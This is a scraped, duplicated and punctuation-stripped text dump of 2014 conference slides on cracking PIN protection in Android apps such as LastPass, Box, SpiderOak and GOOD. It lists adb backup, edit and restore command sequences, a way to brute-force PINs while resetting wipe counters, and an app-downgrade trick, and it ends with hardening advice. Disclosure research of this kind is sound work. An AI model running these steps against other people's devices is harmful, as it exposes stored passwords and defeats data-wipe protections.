bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 64: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 65: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

